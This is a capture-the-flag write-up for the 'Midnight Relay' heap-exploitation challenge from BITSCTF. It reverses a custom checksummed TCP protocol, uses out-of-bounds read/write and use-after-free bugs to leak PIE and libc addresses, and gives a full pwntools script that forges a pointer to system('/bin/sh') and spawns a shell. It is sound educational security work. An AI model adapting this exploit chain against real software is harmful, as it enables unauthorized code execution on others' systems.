Midnight Relay - BITSCTF Pwn Writeup
---
Imported from BITSctf/PWN/Midnight Relay.
Midnight Relay - BITSCTF Pwn Writeup
1. Challenge Description
Challenge: Midnight Relay
Category: Pwn / Heap Exploitation
Description: A fallback relay with a custom TCP protocol. We are provided with the binary, a Dockerfile, and a protocol specification.
Objective: Exploit the heap management to bypass protections (PIE, NX, CET) and pop a shell.
2. Initial Triage & Protections
We start by inspecting the binary and its protections.
$ file midnight_relay
midnight_relay: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, not stripped
$ checksec --file=./midnight_relay
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Key Takeaways:
- Full Protections: ASLR, DEP (NX), and PIE are all active.
- Intel CET (SHSTK/IBT): Shadow Stack and Indirect Branch Tracking are enabled. This makes standard ROP chains and simple function pointer overwrites impossible unless we jump to a valid
endbr64instruction (like the start ofsystem()). - Environment: The Dockerfile uses
ubuntu:24.04, implyingglibc 2.39(which includes Safe-Linking and Tcache mitigations).
To ensure our offsets match the remote server, we extract the libraries from the Docker container and patch the binary using pwninit:
# Extract libs
docker run --rm -v "$(pwd):/out" ubuntu:24.04 sh -c "cp -L /lib/x86_64-linux-gnu/libc.so.6 /out/ && cp -L /lib64/ld-linux-x86-64.so.2 /out/"
# Patch binary
pwninit --bin midnight_relay --libc libc.so.6 --ld ld-linux-x86-64.so.2
3. Code Analysis & Reversing
We decompiled the binary using Ghidra. The binary reads raw TCP streams and processes them according to a custom protocol. Every packet requires a 1-byte checksum (key). This checksum is tied to a rolling epoch state.
The Custom Protocol Math
- The Seed: The epoch is initialized from the
.datasection with the seed0x6b1d5a93. - The Checksum Calculation: For every byte in the payload, the epoch updates via:
epoch = ((epoch * 8) ^ (epoch >> 2) ^ byte ^ 0x71) & 0xFFFFFFFF. The lowest byte of this result becomes the validkey. - The State Update: After a packet is successfully processed, the global epoch updates using the operation code:
epoch ^= (op << 9) | 0x5f.
Exploitation requires tracking this state perfectly in the exploit script to prevent the binary from silently dropping packets.
Decompiled Logic & Vulnerabilities
The binary manages data “slots” on the heap. When creating a chunk (0x11 forge), it allocates size + 0x20 bytes. The requested data goes into size, and the trailing 0x20 bytes store critical, XOR-mangled metadata:
- A random
cookie(from/dev/urandom). - The mangled execution pointer (defaults to
idle). - The raw Heap Pointer.
- A random Sync Token.
// 0x33: Observe (Read) - VULNERABILITY: OOB Read
// Check: if (offset + n <= size + 0x20)
// Allows reading the 0x20 metadata bytes!
// 0x22: Tune (Write) - VULNERABILITY: OOB Write
// Check: if (offset + n <= size + 0x20)
// Allows overwriting the 0x20 metadata bytes!
// 0x44: Shred (Free) - VULNERABILITY: UAF
// free(ptr);
// slots[i].sync = 0;
// BUT slots[i].ptr is NOT NULL! Pointer remains valid.
// 0x66: Fire (Execute)
// Decrypts metadata[1] and calls it natively: call target();
4. Dynamic Analysis (GDB)
To confirm vulnerabilities and logic without writing a full checksum script immediately, we patched the validation check dynamically in GDB to let us send “dumb” packets.
# Auto-patch the register to pass the checksum check
pwndbg> b *main+360
pwndbg> commands 1
> silent
> set $dil = $dl
> pi gdb.execute("continue")
> end
By forging a chunk and inspecting the heap, we dumped the 4 QWORDs of the metadata. Because the binary leaks the Raw Heap Pointer in the 3rd QWORD, we proved we could reverse the XOR math to recover the Cookie and the PIE base.
5. Exploitation Strategy
Step 1: Info Leak (OOB Read)
Goal: Defeat PIE and recover the XOR cookie.
- Forge a chunk of size
0x80. - Observe
0x20bytes starting at offset0x80. Due to the OOB bug, this reads the hidden metadata. - Solve: Use the leaked heap pointer to reverse the XOR operations and calculate
pie_base.
Step 2: Libc Leak (Unsorted Bin UAF)
Goal: Defeat ASLR by leaking a libc pointer.
- The Problem:
glibcputs small freed chunks (<= 0x410) into the tcache, which only links to other heap chunks (no libc pointers). - The Solution: We allocate a chunk larger than 0x410 (e.g.,
0x420). When freed, this bypasses tcache and goes to the Unsorted Bin. Unsorted Bin chunks containfdandbkpointers pointing tomain_arena(inside libc).
The “Calloc Carve” Trick:
- Forge Chunk 1 (
0x420). - Forge Chunk 2 (Guard chunk).
- Shred (Free) Chunk 1 -> Unsorted Bin.
- Send
observepacket. The binary callscalloc(1, 5)to store our packet payload. callocsplits the0x20bytes it needs from the top of our freed Chunk 1.- The
fd(libc) pointer is pushed down by0x20bytes. - We Observe at offset
0x20to read the shiftedmain_arenapointer and calculatelibc_base.
Step 3: Weaponization (OOB Write)
Goal: Execute system("/bin/sh").
- Tune Chunk 0 to write
/bin/sh\x00at the start (becomes$RDI). - Encrypt the
system()address using the same XOR math the binary uses. - Tune (OOB Write) to overwrite the metadata of Chunk 0 with the forged execution pointer.
- Sync to authorize the chunk using the dynamically calculated token.
- Fire to execute
system.
6. Final Exploit Script (solve.py)
#!/usr/bin/env python3
from pwn import *
import struct
# Context & Binary Setup
elf = ELF('./midnight_relay_patched', checksec=False)
context.arch = 'amd64'
# Change to remote('IP', PORT) for actual CTF
p = process('./midnight_relay_patched')
# ---------------------------------------------------
# 1. PROTOCOL IMPLEMENTATION
# ---------------------------------------------------
# Initial Epoch Seed found in .data section
current_epoch = 0x6b1d5a93
def send_packet(op, payload=b""):
global current_epoch
# Calculate Rolling Checksum
temp_epoch = current_epoch
for b in payload:
temp_epoch = ((temp_epoch * 8) ^ (temp_epoch >> 2) ^ b ^ 0x71) & 0xFFFFFFFF
key = temp_epoch & 0xFF
# Construct Header
header = struct.pack('<B B H', op, key, len(payload))
p.send(header + payload)
# Update State
current_epoch ^= (op << 9) | 0x5f
def forge(idx, size, tag):
payload = struct.pack('<B H B', idx, size, len(tag)) + tag
send_packet(0x11, payload)
def tune(idx, offset, n, blob):
payload = struct.pack('<B H H', idx, offset, n) + blob
send_packet(0x22, payload)
def observe(idx, offset, n):
payload = struct.pack('<B H H', idx, offset, n)
send_packet(0x33, payload)
def shred(idx):
payload = struct.pack('<B', idx)
send_packet(0x44, payload)
def sync(idx, token):
payload = struct.pack('<B I', idx, token)
send_packet(0x55, payload)
def fire(idx):
payload = struct.pack('<B', idx)
send_packet(0x66, payload)
# ---------------------------------------------------
# 2. EXPLOIT EXECUTION
# ---------------------------------------------------
p.recvuntil(b"midnight-relay\n")
log.info("--- Step 1: Leaking PIE & Cookie (OOB Read) ---")
# Forge 0x80 chunk, read 0x20 bytes past the end
forge(0, 0x80, b"AAAA")
observe(0, 0x80, 0x20)
leak = p.recv(0x20)
# Unpack Metadata
val0, val1, val2, val3 = struct.unpack('<Q Q Q Q', leak)
heap_ptr = val2
# Reverse XOR Crypto
cookie = val0 ^ (heap_ptr >> 12) ^ 0x48454c494f5300ff
idle_ptr = val1 ^ (heap_ptr >> 13) ^ val0 ^ val3
pie_base = idle_ptr - 0x17b0
log.success(f"Cookie: {hex(cookie)}")
log.success(f"PIE Base: {hex(pie_base)}")
log.info("--- Step 2: Leaking Libc (Unsorted Bin UAF) ---")
# 0x420 is large enough to bypass Tcache -> Unsorted Bin
forge(1, 0x420, b"AAAA")
forge(2, 0x420, b"BBBB") # Prevent consolidation
shred(1) # Free Chunk 1
# Read shifted fd pointer (calloc carves 0x20 bytes off front)
observe(1, 0x20, 8)
libc_leak = u64(p.recv(8).ljust(8, b'\x00'))
libc_base = libc_leak - 0x203b20 # Static offset for main_arena+96
libc = ELF('./libc.so.6', checksec=False)
libc.address = libc_base
system_addr = libc.sym['system']
log.success(f"Libc Base: {hex(libc_base)}")
log.success(f"System: {hex(system_addr)}")
log.info("--- Step 3: Weaponization (OOB Write) ---")
# Write "/bin/sh" to start of Chunk 0 (Arg1 for system)
tune(0, 0, 8, b"/bin/sh\x00")
# Encrypt the system() pointer
new_val1 = (heap_ptr >> 13) ^ system_addr ^ val0 ^ val3
# Overwrite metadata with OOB Write
forged_metadata = struct.pack('<Q Q Q Q', val0, new_val1, val2, val3)
tune(0, 0x80, 0x20, forged_metadata)
# Authorize and Fire
sync_token = current_epoch ^ (val0 & 0xFFFFFFFF) ^ (val3 & 0xFFFFFFFF)
sync(0, sync_token)
log.success("Popping Shell...")
fire(0)
p.interactive()
7. Flag and result
python3 solve.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/kuri/.cache/.pwntools-cache-3.12/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.15.0)
[+] Starting local process './midnight_relay_patched': pid 1043
[*] --- Step 1: Leaking PIE & Cookie (OOB Read) ---
[+] Cookie: 0xe541cd4ee59f461f
[+] PIE Base: 0x62dba9703000
[*] --- Step 2: Leaking Libc (Unsorted Bin UAF) ---
[+] Libc Base: 0x7ecfa2400000
[+] System: 0x7ecfa2458750
[*] --- Step 3: Weaponization (OOB Write) ---
[+] Popping Shell...
[*] Switching to interactive mode
$ ls
Dockerfile flag.txt:Zone.Identifier
Dockerfile:Zone.Identifier ld-linux-x86-64.so.2
description.md libc.so.6
description.md:Zone.Identifier midnight_relay
docker-compose.yaml midnight_relay:Zone.Identifier
docker-compose.yaml:Zone.Identifier midnight_relay_patched
dumb_forge.bin payload.bin
dumb_leak.bin run
dumb_uaf.bin run:Zone.Identifier
flag.txt solve.py
$